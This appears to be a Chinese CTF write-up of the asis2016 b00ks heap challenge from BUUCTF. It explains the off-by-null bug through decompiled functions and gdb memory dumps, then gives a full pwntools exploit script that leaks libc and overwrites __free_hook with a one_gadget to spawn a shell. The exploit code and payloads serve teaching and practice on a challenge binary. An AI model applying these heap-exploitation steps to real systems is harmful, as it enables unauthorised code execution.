asis2016_b00ks --堆的off-by-null

具体的题目文件都可以在buuctf里面找到

首先先看主函数

asis2016_b00ks --堆的off-by-null_第1张图片

上面都是一堆初始化,从sub_B6D(v3)开始看,这个也是漏洞存在的地方

asis2016_b00ks --堆的off-by-null_第2张图片

让你输入作者的名字,跟进入sub_9f5这个函数

asis2016_b00ks --堆的off-by-null_第3张图片

他会把你输入的字符一个一个输进去,最后判断是否达到最大a2=32或者换行(ida把换行弄成10了)然后退出判断,可是最后有个赋值0的操作,假如输入最大字符数32,那么下面这个会把第33个字符给搞成00,也就是我们俗称的off-by-null

先看看创建一个块后,内存的情况

def dbg():
    gdb.attach(r)
    pause()
def add(name_size,name,content_size,content):
    r.sendlineafter('> ','1')
    r.sendlineafter('size: ',str(name_size))
    r.sendlineafter('chars): ',name)
    r.sendlineafter('size: ',str(content_size))
    r.sendlineafter('tion: ',content)

def delete(index):
    r.sendlineafter('> ','2')
    r.sendlineafter('delete: ',str(index))

def edit(index,content):
    r.sendlineafter('> ','3')
    r.sendlineafter('edit: ',str(index))
    r.sendlineafter('ption: ',content)

def show():
    r.sendlineafter('> ','4')

def change(author_name):
    r.sendlineafter('> ','5')
    r.sendlineafter('name: ',author_name)

r.sendlineafter('name: ', 'a' * 0x1f + 'b')
add(0xd0, 'aaaa', 0x20, 'bbbb') #chunk1
dbg()

 先输入命令找到写作者名字的那块内存空间

asis2016_b00ks --堆的off-by-null_第4张图片

找到了就是0x5589f0ddc040这个

然后查看这块内存

x/40gx 0x5589f0ddc040
0x5589f0ddc040:	0x6161616161616161	0x6161616161616161
0x5589f0ddc050:	0x6161616161616161	0x6261616161616161
0x5589f0ddc060:	0x00005589f280d130	0x0000000000000000
0x5589f0ddc070:	0x0000000000000000	0x0000000000000000
0x5589f0ddc080:	0x0000000000000000	0x0000000000000000
0x5589f0ddc090:	0x0000000000000000	0x0000000000000000
0x5589f0ddc0a0:	0x0000000000000000	0x0000000000000000
0x5589f0ddc0b0:	0x0000000000000000	0x0000000000000000
0x5589f0ddc0c0:	0x0000000000000000	0x0000000000000000
0x5589f0ddc0d0:	0x0000000000000000	0x0000000000000000
0x5589f0ddc0e0:	0x0000000000000000	0x0000000000000000
0x5589f0ddc0f0:	0x0000000000000000	0x0000000000000000

 到这一步先暂停一下,看看其他功能

首先是add

__int64 sub_F55()
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  int v2; // [rsp+4h] [rbp-1Ch]
  void *v3; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+10h] [rbp-10h]
  void *v5; // [rsp+18h] [rbp-8h]

  v1 = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 )
    goto LABEL_2;
  printf("Enter book name (Max 32 chars): ");
  ptr = malloc(v1);
  if ( !ptr )
  {
    printf("unable to allocate enough space");
    goto LABEL_17;
  }
  if ( (unsigned int)sub_9F5(ptr, v1 - 1) )
  {
    printf("fail to read name");
    goto LABEL_17;
  }
  v1 = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 )
  {
LABEL_2:
    printf("Malformed size");
  }
  else
  {
    v5 = malloc(v1);
    if ( v5 )
    {
      printf("Enter book description: ");
      if ( (unsigned int)sub_9F5(v5, v1 - 1) )
      {
        printf("Unable to read description");
      }
      else
      {
        v2 = sub_B24();
        if ( v2 == -1 )
        {
          printf("Library is full");
        }
        else
        {
          v3 = malloc(0x20uLL);
          if ( v3 )
          {
            *((_DWORD *)v3 + 6) = v1;
            *((_QWORD *)off_202010 + v2) = v3;
            *((_QWORD *)v3 + 2) = v5;
            *((_QWORD *)v3 + 1) = ptr;
            *(_DWORD *)v3 = ++unk_202024;
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
LABEL_17:
  if ( ptr )
    free(ptr);
  if ( v5 )
    free(v5);
  if ( v3 )
    free(v3);
  return 1LL;
}

 add创建从块体结构不简单

先是输入name 的size

其次是书名

然后书内容大小

以及书内容

主要是看这一块

if ( v3 )
          {
            *((_DWORD *)v3 + 6) = v1;
            *((_QWORD *)off_202010 + v2) = v3;
            *((_QWORD *)v3 + 2) = v5;
            *((_QWORD *)v3 + 1) = ptr;
            *(_DWORD *)v3 = ++unk_202024;
            return 0LL;

 v1是书内容大小,v3是存放这个结构体的块,v5是书内容,ptr是书名,然后unk_202024是id

存放这个结构体的块的地址给了off_202010+块id存着

所以这样一看结构题很明显了

大概是这样的

struct book_struct
{
int id;
void *book_name;
void *book_description;
int description_size;
}

asis2016_b00ks --堆的off-by-null_第5张图片

从这个知道,作者名块后面挨着存放块1的地址

上图是作者名,大小是0x20,后面跟的地址看一下

asis2016_b00ks --堆的off-by-null_第6张图片

就是创建的块1的结构体地址

注意有人可能会问add函数里面的 *((_DWORD *)v3 + 6),为啥是个+6

因为QWRD是四字,比DWORD双字大了一倍,因此DWORD的+6就相当于QWORD的+3

不影响,调试看看就明白了

然后是show和edit以及delete代码

delete
__int64 sub_BBD()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));
      free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));
      free(*((void **)off_202010 + i));
      *((_QWORD *)off_202010 + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

 

 

edit
__int64 sub_E17()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  printf("Enter the book id you want to edit: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
      ;
    if ( i == 20 )
    {
      printf("Can't find selected book!");
    }
    else
    {
      printf("Enter new book description: ");
      if ( !(unsigned int)sub_9F5(
                            *(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
        return 0LL;
      printf("Unable to read new description");
    }
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

 

show
int sub_D1F()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v0 = *((_QWORD *)off_202010 + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((unsigned int **)off_202010 + i));
      printf("Name: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 8LL));
      printf("Description: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
    }
  }
  return v0;
}

(需要注意的是show里面最后打印的是作者名,printf是遇见/00截断的,所以会打印出第一个块的结构体地址

还有就是edit函数,修改的书内容,不是书名字看看最后的是+16(+0x10)就是结构体第三个)

这样思路清晰的很多

先看看一个块细节

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5589f280c000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x5589f280d010
Size: 0xe1

Allocated chunk | PREV_INUSE
Addr: 0x5589f280d0f0
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x5589f280d120
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x5589f280d150
Size: 0x20eb1

pwndbg> x/100gx 0x5589f280d010
0x5589f280d010:	0x0000000000000000	0x00000000000000e1
0x5589f280d020:	0x0000000061616161	0x0000000000000000
0x5589f280d030:	0x0000000000000000	0x0000000000000000
0x5589f280d040:	0x0000000000000000	0x0000000000000000
0x5589f280d050:	0x0000000000000000	0x0000000000000000
0x5589f280d060:	0x0000000000000000	0x0000000000000000
0x5589f280d070:	0x0000000000000000	0x0000000000000000
0x5589f280d080:	0x0000000000000000	0x0000000000000000
0x5589f280d090:	0x0000000000000000	0x0000000000000000
0x5589f280d0a0:	0x0000000000000000	0x0000000000000000
0x5589f280d0b0:	0x0000000000000000	0x0000000000000000
0x5589f280d0c0:	0x0000000000000000	0x0000000000000000
0x5589f280d0d0:	0x0000000000000000	0x0000000000000000
0x5589f280d0e0:	0x0000000000000000	0x0000000000000000
0x5589f280d0f0:	0x0000000000000000	0x0000000000000031
0x5589f280d100:	0x0000000062626262	0x0000000000000000
0x5589f280d110:	0x0000000000000000	0x0000000000000000
0x5589f280d120:	0x0000000000000000	0x0000000000000031
0x5589f280d130:	0x0000000000000001	0x00005589f280d020
0x5589f280d140:	0x00005589f280d100	0x0000000000000020
0x5589f280d150:	0x0000000000000000	0x0000000000020eb1
0x5589f280d160:	0x0000000000000000	0x0000000000000000
0x5589f280d170:	0x0000000000000000	0x0000000000000000
0x5589f280d180:	0x0000000000000000	0x0000000000000000
0x5589f280d190:	0x0000000000000000	0x0000000000000000
0x5589f280d1a0:	0x0000000000000000	0x0000000000000000
0x5589f280d1b0:	0x0000000000000000	0x0000000000000000
0x5589f280d1c0:	0x0000000000000000	0x0000000000000000
0x5589f280d1d0:	0x0000000000000000	0x0000000000000000
0x5589f280d1e0:	0x0000000000000000	0x0000000000000000
0x5589f280d1f0:	0x0000000000000000	0x0000000000000000
0x5589f280d200:	0x0000000000000000	0x0000000000000000
0x5589f280d210:	0x0000000000000000	0x0000000000000000
0x5589f280d220:	0x0000000000000000	0x0000000000000000
0x5589f280d230:	0x0000000000000000	0x0000000000000000
0x5589f280d240:	0x0000000000000000	0x0000000000000000
0x5589f280d250:	0x0000000000000000	0x0000000000000000
0x5589f280d260:	0x0000000000000000	0x0000000000000000
0x5589f280d270:	0x0000000000000000	0x0000000000000000
0x5589f280d280:	0x0000000000000000	0x0000000000000000
0x5589f280d290:	0x0000000000000000	0x0000000000000000
0x5589f280d2a0:	0x0000000000000000	0x0000000000000000
0x5589f280d2b0:	0x0000000000000000	0x0000000000000000
0x5589f280d2c0:	0x0000000000000000	0x0000000000000000
0x5589f280d2d0:	0x0000000000000000	0x0000000000000000
0x5589f280d2e0:	0x0000000000000000	0x0000000000000000
0x5589f280d2f0:	0x0000000000000000	0x0000000000000000
0x5589f280d300:	0x0000000000000000	0x0000000000000000
0x5589f280d310:	0x0000000000000000	0x0000000000000000
0x5589f280d320:	0x0000000000000000	0x0000000000000000

按照区域划分一下

因为结构体块里面有两个块,分别是name块和des块

asis2016_b00ks --堆的off-by-null_第7张图片

上图为name块

上图是des块

这个是存放块1结构体的块

很明显看到存放块1结构体的块两个特别的大数据分别指向上面两个块数据地址

思路就是通过

off-by-null

把最后字节覆盖为00,这样块1的结构体地址就变成0x00005589f280d100,我们只要在0x00005589f280d100这个地方伪造一个book1结构体,就可以任意地址写内容了,更巧的是这个地址就是book1的des块地址,所以构造book结构体块就在这里了,用edit(1)就可以了。

我们先show把book1的结构体地址得到

代码如下

r.sendlineafter('name: ', b'a' * 0x1f + b'b')
add(0xd0, 'aaaa', 0x20, 'bbbb') 
dbg()
show()
r.recvuntil('aaaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))

 然后在创建两个块便于利用

add(0x80, 'aaaa', 0x50, 'bbbb')
add(0x10, 'aaa', 0x20, 'cccc')

把块2删除进入usordbin,就可以把fd变成main+88

然后开始伪造book结构体

p1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x1b0) + p64(0x20)
dbg()
edit(1, p1)
change('a' * 0x20)

可以看到已经伪造好了,然后change就把最后一个字节变成00了

book结构体地址就指向book1的des地址了

 

payload1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x1b0) + p64(0x20)

 在解释一下这个怎么来的

将book1的name的地址给改成book2的description,book1的des的地址改成book3的description

0x1b0就是0x30 + 0x90 + 0xe0 + 0x10

然后show就会把book1伪造的结构体指向book2的des打印出来,里面就有main+88

而main-0x10就是

 实现代码

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

 找到one_gadgetasis2016_b00ks --堆的off-by-null_第8张图片

 就是常规偏移计算

libc = ELF('/root/桌面/libc-2.23-64.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
free_hook = libc_base + libc.sym['__free_hook']

因为伪造之后book1结构体内容分别指向book2的des和book3的des

然后修改1,就是修改伪造的1,也就是修改book3的des

将1的desc改成free_hook,此时3的desc为free_hook,再将3的desc改成one_gadget。也就是free_hook变成 了one_gadget。,修改之后情况如下

payload2 = p64(free_hook) + p64(0)
edit(1, payload2)
dbg()
edit(3, p64(one_gadget))

 asis2016_b00ks --堆的off-by-null_第9张图片

3的des就变成free——hook地址

然后在修改3为one_gadege,就会free_hook变成 了one_gadget

最后delete(1)就是->free_hook->one_gadget->getshell

完结

(写崩了,越写越乱,可能是时间短,有错误的地方,师傅们说一下)

附上完整exp


from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = '/root/桌面/b00ks'

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 27049)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)
    pause()

def add(name_size,name,content_size,content):
    r.sendlineafter('> ','1')
    r.sendlineafter('size: ',str(name_size))
    r.sendlineafter('chars): ',name)
    r.sendlineafter('size: ',str(content_size))
    r.sendlineafter('tion: ',content)

def delete(index):
    r.sendlineafter('> ','2')
    r.sendlineafter('delete: ',str(index))

def edit(index,content):
    r.sendlineafter('> ','3')
    r.sendlineafter('edit: ',str(index))
    r.sendlineafter('ption: ',content)

def show():
    r.sendlineafter('> ','4')

def change(author_name):
    r.sendlineafter('> ','5')
    r.sendlineafter('name: ',author_name)

r.sendlineafter('name: ', b'a' * 0x1f + b'b')
add(0xd0, 'aaaa', 0x20, 'bbbb') #1
dbg()
show()
r.recvuntil('aaaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))
add(0x80, 'aaaa', 0x50, 'bbbb') #2
add(0x10, 'aaa', 0x20, 'cccc')

delete(2)

payload1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x1b0) + p64(0x20)
dbg()
edit(1, payload1)
change('a' * 0x20)
dbg()
show()

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/root/桌面/libc-2.23-64.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
free_hook = libc_base + libc.sym['__free_hook']

payload2 = p64(free_hook) + p64(0)
edit(1, payload2)
dbg()
edit(3, p64(one_gadget))

delete(1)

r.interactive()

#dbg()

参考博客这位师傅思路

你可能感兴趣的:(pwn,python,网络安全)